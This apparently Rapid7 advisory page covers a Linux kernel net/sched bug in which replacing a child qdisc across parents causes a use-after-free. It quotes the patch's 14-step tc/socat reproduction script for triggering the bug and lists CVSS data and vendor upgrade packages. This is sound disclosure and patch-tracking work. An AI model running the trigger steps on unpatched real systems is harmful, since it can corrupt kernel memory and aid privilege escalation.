In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script
Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr
step3. a class for nesting tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr
step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7. tc class add dev lo classid 3:1 drr
step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".
Joint work with Lion Ackermann <[email protected]>
CVSS Details
- CVSS 3.1 Base Score: 7.8
- CVSS 3.1 Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Covered by Rapid7
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Amazon Linux Ami 2 | — | Upgrade python-perf-debuginfoUpgrade kernel-debuginfo-common-x86_64Upgrade kernel-headersUpgrade kernel-tools-debuginfoUpgrade kernel-livepatch-5.15.179-121.185Upgrade kernel-debuginfoUpgrade kernel-livepatch-5.10.235-227.919Upgrade python-perfUpgrade kernel-debuginfo-common-aarch64Upgrade kernel-toolsUpgrade bpftoolUpgrade perfUpgrade bpftool-debuginfoUpgrade kernelUpgrade kernel-tools-develUpgrade kernel-develUpgrade perf-debuginfo | Apr 2, 2025 | Feb 13, 2025 |
| Amazon_linux_2023 | — | Upgrade kernel-tools-debuginfoUpgrade kernel-headersUpgrade perf-debuginfoUpgrade kernel-libbpf-debuginfoUpgrade kernel-libbpfUpgrade kernel-debuginfoUpgrade python3-perf-debuginfoUpgrade kernel-modules-extraUpgrade kernel-livepatch-6.1.131-143.221Upgrade kernel-develUpgrade bpftool-debuginfoUpgrade perfUpgrade kernel-debuginfo-common-aarch64Upgrade kernel-toolsUpgrade kernel-libbpf-staticUpgrade kernelUpgrade kernel-tools-develUpgrade kernel-libbpf-develUpgrade kernel-modules-extra-commonUpgrade kernel-debuginfo-common-x86_64Upgrade bpftoolUpgrade python3-perf | Apr 2, 2025 | Feb 13, 2025 |
| Debian | — | Upgrade linux-6.1Upgrade linux | Mar 17, 2025 | Feb 13, 2025 |
| Dell Powerstore Dsa2025429 | — | Upgrade Dell PowerStoreOS to the latest version | Dec 3, 2025 | Dec 2, 2025 |
| Dell Powerstore Dsa2026039 | — | Upgrade Dell PowerStoreOS to the latest version | Jan 13, 2026 | Jan 6, 2026 |
| Huawei Euleros 2_0_sp10 | — | Upgrade kernel-tools-libs-develUpgrade perfUpgrade kernel-develUpgrade bpftoolUpgrade kernel-toolsUpgrade kernel-headersUpgrade kernel-tools-libsUpgrade kernel | May 13, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp11 | — | Upgrade kernelUpgrade kernel-abi-stablelistsUpgrade kernel-tools-libsUpgrade python3-perfUpgrade kernel-toolsUpgrade bpftool | Jun 13, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp12 | — | Upgrade kernel-toolsUpgrade kernelUpgrade bpftoolUpgrade kernel-tools-libsUpgrade python3-perfUpgrade kernel-abi-stablelists | Jun 11, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp13 | — | Upgrade python3-perfUpgrade kernel-tools-libsUpgrade kernel-toolsUpgrade kernelUpgrade kernel-abi-stablelistsUpgrade bpftool | Jul 1, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp9 | — | Upgrade kernel-tools-libsUpgrade python3-perfUpgrade kernelUpgrade kernel-tools | Sep 15, 2025 | May 12, 2025 |
| Redhat_linux | — | No solution exists | Jul 9, 2025 | Feb 13, 2025 |
| Suse | — | Upgrade kernel-rt_debug-develUpgrade kernel-azureUpgrade kselftests-kmp-64kbUpgrade kernel-trace-baseUpgrade kernel-64kb-optionalUpgrade kernel-azure-extraUpgrade kernel-debug-vdsoUpgrade kernel-trace-develUpgrade gfs2-kmp-azureUpgrade gfs2-kmp-defaultUpgrade dtb-amdUpgrade dtb-hisiliconUpgrade reiserfs-kmp-azureUpgrade dtb-sprdUpgrade kernel-ec2-baseUpgrade dtb-renesasUpgrade kernel-obs-buildUpgrade dtb-allwinnerUpgrade kernel-source-vanillaUpgrade kernel-64kb-develUpgrade reiserfs-kmp-defaultUpgrade cluster-md-kmp-64kbUpgrade kselftests-kmp-azureUpgrade dtb-nvidiaUpgrade ocfs2-kmp-64kbUpgrade dtb-appleUpgrade reiserfs-kmp-rtUpgrade dlm-kmp-rtUpgrade kernel-defaultUpgrade dtb-alteraUpgrade dtb-caviumUpgrade kernel-default-livepatchUpgrade ocfs2-kmp-azureUpgrade kernel-debugUpgrade kernel-default-optionalUpgrade kernel-develUpgrade kernel-default-baseUpgrade kernel-devel-rtUpgrade kernel-azure-optionalUpgrade kernel-debug-develUpgrade cluster-md-kmp-rtUpgrade kernel-default-livepatch-develUpgrade dlm-kmp-64kbUpgrade dtb-mediatekUpgrade kernel-xen-develUpgrade kernel-rt-extraUpgrade kernel-64kb-extraUpgrade kernel-xen-baseUpgrade kselftests-kmp-rtUpgrade kernel-rt-develUpgrade dtb-xilinxUpgrade kernel-default-vdsoUpgrade kernel-preempt-develUpgrade ocfs2-kmp-defaultUpgrade dtb-apmUpgrade kernel-xenUpgrade dtb-amazonUpgrade kernel-rt-optionalUpgrade dtb-exynosUpgrade dlm-kmp-azureUpgrade ocfs2-kmp-rtUpgrade kselftests-kmp-defaultUpgrade kernel-macrosUpgrade kernel-docs-htmlUpgrade kernel-default-develUpgrade dtb-lgUpgrade cluster-md-kmp-defaultUpgrade kernel-syms-azureUpgrade kernel-sourceUpgrade kernel-rt_debugUpgrade kernel-rt-vdsoUpgrade kernel-kvmsmallUpgrade kernel-ec2Upgrade kernel-docsUpgrade dtb-amlogicUpgrade kernel-kvmsmall-develUpgrade kernel-zfcpdumpUpgrade kernel-64kbUpgrade dtb-socionextUpgrade kernel-source-azureUpgrade kernel-obs-qaUpgrade kernel-ec2-develUpgrade kernel-default-extraUpgrade kernel-default-base-rebuildUpgrade kernel-azure-develUpgrade gfs2-kmp-64kbUpgrade dtb-rockchipUpgrade kernel-azure-vdsoUpgrade dtb-qcomUpgrade cluster-md-kmp-azureUpgrade kernel-syms-rtUpgrade kernel-preemptUpgrade kernel-rtUpgrade kernel-symsUpgrade kernel-traceUpgrade kernel-kvmsmall-vdsoUpgrade dtb-marvellUpgrade dtb-armUpgrade dlm-kmp-defaultUpgrade kernel-rt_debug-vdsoUpgrade kernel-rt-livepatch-develUpgrade kernel-default-manUpgrade gfs2-kmp-rtUpgrade dtb-freescaleUpgrade dtb-broadcomUpgrade kernel-source-rtUpgrade kernel-devel-azureUpgrade reiserfs-kmp-64kb | Mar 12, 2025 | Feb 13, 2025 |
| Ubuntu | — | Upgrade linux-image-azure-lts-22.04Upgrade linux-image-snapdragon-hwe-18.04Upgrade linux-image-gcp-64kUpgrade linux-image-aws-fipsUpgrade linux-image-gcp-lts-22.04Upgrade linux-image-nvidia-64k-hwe-22.04Upgrade linux-image-lowlatency-hwe-22.04Upgrade linux-image-realtimeUpgrade linux-image-5.15.0-1076-nvidiaUpgrade linux-image-6.11.0-1013-azure-fdeUpgrade linux-image-oracle-lts-22.04Upgrade linux-image-5.4.0-1147-gcpUpgrade linux-image-nvidia-6.8Upgrade linux-image-oem-20.04Upgrade linux-image-oracleUpgrade linux-image-intelUpgrade linux-image-virtual-hwe-18.04Upgrade linux-image-6.11.0-1020-oemUpgrade linux-image-gcp-lts-18.04Upgrade linux-image-azure-lts-18.04Upgrade linux-image-bluefieldUpgrade linux-image-6.8.0-1028-gcpUpgrade linux-image-5.15.0-1076-raspiUpgrade linux-image-4.15.0-236-lowlatencyUpgrade linux-image-oemUpgrade linux-image-azure-lts-20.04Upgrade linux-image-oem-22.04Upgrade linux-image-lowlatency-64kUpgrade linux-image-nvidiaUpgrade linux-image-6.11.0-24-generic-64kUpgrade linux-image-virtual-hwe-20.04Upgrade linux-image-raspi-hwe-18.04Upgrade linux-image-5.4.0-1062-xilinx-zynqmpUpgrade linux-image-nvidia-tegra-rtUpgrade linux-image-oem-20.04bUpgrade linux-image-5.4.0-1144-aws-fipsUpgrade linux-image-6.8.0-1026-nvidia-64kUpgrade linux-image-5.15.0-1046-xilinx-zynqmpUpgrade linux-image-gkeop-5.15Upgrade linux-image-5.15.0-1087-azureUpgrade linux-image-xilinx-zynqmpUpgrade linux-image-5.15.0-1082-realtimeUpgrade linux-image-5.4.0-1142-oracleUpgrade linux-image-gkeUpgrade linux-image-genericUpgrade linux-image-5.15.0-1082-awsUpgrade linux-image-5.4.0-1149-azure-fipsUpgrade linux-image-6.8.0-1027-awsUpgrade linux-image-5.15.0-138-lowlatency-64kUpgrade linux-image-6.8.0-1024-ibmUpgrade linux-image-azure-fde-lts-22.04Upgrade linux-image-intel-iot-realtimeUpgrade linux-image-4.15.0-236-genericUpgrade linux-image-6.8.0-1028-gcp-64kUpgrade linux-image-5.15.0-138-fipsUpgrade linux-image-6.8.0-1024-oracleUpgrade linux-image-4.4.0-267-genericUpgrade linux-image-5.15.0-1078-kvmUpgrade linux-image-oracle-lts-24.04Upgrade linux-image-fipsUpgrade linux-image-oem-24.04Upgrade linux-image-5.4.0-1049-iotUpgrade linux-image-lowlatency-64k-hwe-22.04Upgrade linux-image-4.15.0-1162-kvmUpgrade linux-image-4.15.0-1187-azureUpgrade linux-image-5.15.0-1081-gcpUpgrade linux-image-6.8.0-1010-gkeopUpgrade linux-image-oem-22.04dUpgrade linux-image-4.4.0-1112-fipsUpgrade linux-image-generic-64kUpgrade linux-image-6.8.0-1026-oemUpgrade linux-image-realtime-hwe-24.04Upgrade linux-image-6.8.0-1026-nvidia-lowlatency-64kUpgrade linux-image-5.15.0-138-generic-64kUpgrade linux-image-5.4.0-1131-kvmUpgrade linux-image-6.11.0-1012-lowlatency-64kUpgrade linux-image-gkeopUpgrade linux-image-4.15.0-2096-azure-fipsUpgrade linux-image-6.8.0-1026-nvidia-lowlatencyUpgrade linux-image-virtual-hwe-24.04Upgrade linux-image-6.8.0-2023-raspi-realtimeUpgrade linux-image-4.4.0-1142-awsUpgrade linux-image-oem-20.04cUpgrade linux-image-oem-22.04cUpgrade linux-image-6.8.0-1026-nvidiaUpgrade linux-image-5.4.0-1103-bluefieldUpgrade linux-image-5.4.0-1090-ibmUpgrade linux-image-5.15.0-1082-aws-fipsUpgrade linux-image-oracle-lts-20.04Upgrade linux-image-6.11.0-1008-realtimeUpgrade linux-image-generic-lpae-hwe-20.04Upgrade linux-image-gcp-64k-lts-24.04Upgrade linux-image-nvidia-hwe-22.04Upgrade linux-image-5.4.0-214-generic-lpaeUpgrade linux-image-intel-iotgUpgrade linux-image-5.4.0-1144-awsUpgrade linux-image-generic-64k-hwe-22.04Upgrade linux-image-virtual-hwe-22.04Upgrade linux-image-aws-lts-18.04Upgrade linux-image-nvidia-tegraUpgrade linux-image-lowlatency-hwe-18.04Upgrade linux-image-5.15.0-1064-gkeopUpgrade linux-image-6.11.0-1013-gcpUpgrade linux-image-generic-lpaeUpgrade linux-image-lowlatency-hwe-16.04Upgrade linux-image-virtual-lts-xenialUpgrade linux-image-oem-osp1Upgrade linux-image-5.15.0-1079-gkeUpgrade linux-image-6.8.0-1027-azureUpgrade linux-image-generic-lts-xenialUpgrade linux-image-virtualUpgrade linux-image-5.15.0-138-generic-lpaeUpgrade linux-image-4.4.0-1143-kvmUpgrade linux-image-6.8.1-1020-realtimeUpgrade linux-image-gcp-lts-20.04Upgrade linux-image-6.11.0-1011-raspiUpgrade linux-image-6.8.0-58-generic-64kUpgrade linux-image-4.15.0-2080-gcp-fipsUpgrade linux-image-6.8.0-1024-oracle-64kUpgrade linux-image-ibm-lts-24.04Upgrade linux-image-ibm-classicUpgrade linux-image-ibmUpgrade linux-image-generic-hwe-20.04Upgrade linux-image-gcp-fipsUpgrade linux-image-5.15.0-1023-nvidia-tegra-igx-rtUpgrade linux-image-4.15.0-1134-fipsUpgrade linux-image-raspi-nolpaeUpgrade linux-image-generic-hwe-24.04Upgrade linux-image-gkeop-6.8Upgrade linux-image-kvmUpgrade linux-image-nvidia-tegra-igxUpgrade linux-image-4.4.0-267-lowlatencyUpgrade linux-image-oem-24.04aUpgrade linux-image-raspiUpgrade linux-image-oracle-64kUpgrade linux-image-nvidia-tegra-igx-rtUpgrade linux-image-nvidia-lowlatency-64kUpgrade linux-image-lowlatency-hwe-24.04Upgrade linux-image-lowlatency-64k-hwe-20.04Upgrade linux-image-ibm-lts-20.04Upgrade linux-image-azure-cvmUpgrade linux-image-oem-22.04aUpgrade linux-image-nvidia-lowlatencyUpgrade linux-image-6.11.0-1012-awsUpgrade linux-image-lowlatency-64k-hwe-24.04Upgrade linux-image-5.15.0-1077-intel-iotgUpgrade linux-image-5.4.0-214-lowlatencyUpgrade linux-image-aws-lts-20.04Upgrade linux-image-5.4.0-1149-azureUpgrade linux-image-5.15.0-138-genericUpgrade linux-image-6.8.0-1027-azure-fdeUpgrade linux-image-nvidia-64kUpgrade linux-image-5.4.0-1147-gcp-fipsUpgrade linux-image-5.15.0-1035-nvidia-tegraUpgrade linux-image-5.15.0-1023-nvidia-tegra-igxUpgrade linux-image-4.15.0-1141-oracleUpgrade linux-image-6.11.0-1012-lowlatencyUpgrade linux-image-awsUpgrade linux-image-lowlatencyUpgrade linux-image-oem-22.04bUpgrade linux-image-generic-64k-hwe-24.04Upgrade linux-image-generic-hwe-18.04Upgrade linux-image-azure-fde-lts-24.04Upgrade linux-image-5.15.0-138-lowlatencyUpgrade linux-image-6.8.0-58-lowlatency-64kUpgrade linux-image-6.8.0-58-lowlatencyUpgrade linux-image-6.11.0-24-genericUpgrade linux-image-5.4.0-1118-fipsUpgrade linux-image-5.4.0-214-genericUpgrade linux-image-5.15.0-1035-nvidia-tegra-rtUpgrade linux-image-5.15.0-1087-azure-fdeUpgrade linux-image-6.11.0-1013-gcp-64kUpgrade linux-image-aws-lts-24.04Upgrade linux-image-generic-64k-hwe-20.04Upgrade linux-image-azure-fipsUpgrade linux-image-5.15.0-1079-oracleUpgrade linux-image-generic-hwe-22.04Upgrade linux-image-oracle-lts-18.04Upgrade linux-image-nvidia-64k-6.8Upgrade linux-image-5.15.0-1087-azure-fipsUpgrade linux-image-lowlatency-hwe-20.04Upgrade linux-image-gcp-lts-24.04Upgrade linux-image-azure-nvidiaUpgrade linux-image-5.15.0-1081-gcp-fipsUpgrade linux-image-generic-hwe-16.04Upgrade linux-image-azureUpgrade linux-image-4.15.0-2117-aws-fipsUpgrade linux-image-5.15.0-1076-nvidia-lowlatencyUpgrade linux-image-4.15.0-1179-awsUpgrade linux-image-6.11.0-1013-azureUpgrade linux-image-azure-lts-24.04Upgrade linux-image-6.11.0-1014-oracleUpgrade linux-image-virtual-hwe-16.04Upgrade linux-image-raspi2Upgrade linux-image-raspi-realtimeUpgrade linux-image-6.8.0-1014-azure-nvidiaUpgrade linux-image-4.15.0-1172-gcpUpgrade linux-image-aws-hweUpgrade linux-image-6.8.0-1023-gkeUpgrade linux-image-4.4.0-1180-awsUpgrade linux-image-oem-20.04dUpgrade linux-image-5.15.0-1075-intel-iot-realtimeUpgrade linux-image-gke-5.15Upgrade linux-image-oem-24.04bUpgrade linux-image-gcpUpgrade linux-image-aws-lts-22.04Upgrade linux-image-6.8.0-58-genericUpgrade linux-image-6.8.0-1028-raspiUpgrade linux-image-5.4.0-1129-raspiUpgrade linux-image-5.15.0-1074-ibmUpgrade linux-image-azure-fdeUpgrade linux-image-6.11.0-1014-oracle-64kUpgrade linux-image-oracle-64k-lts-24.04Upgrade linux-image-lowlatency-lts-xenial | Apr 10, 2025 | Feb 13, 2025 |
| Vmware Photon_os | — | Use 'tdnf update' to upgrade all packages to the latest version. | Jul 2, 2025 | Feb 13, 2025 |
Prioritise with Active Threat Intelligence
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub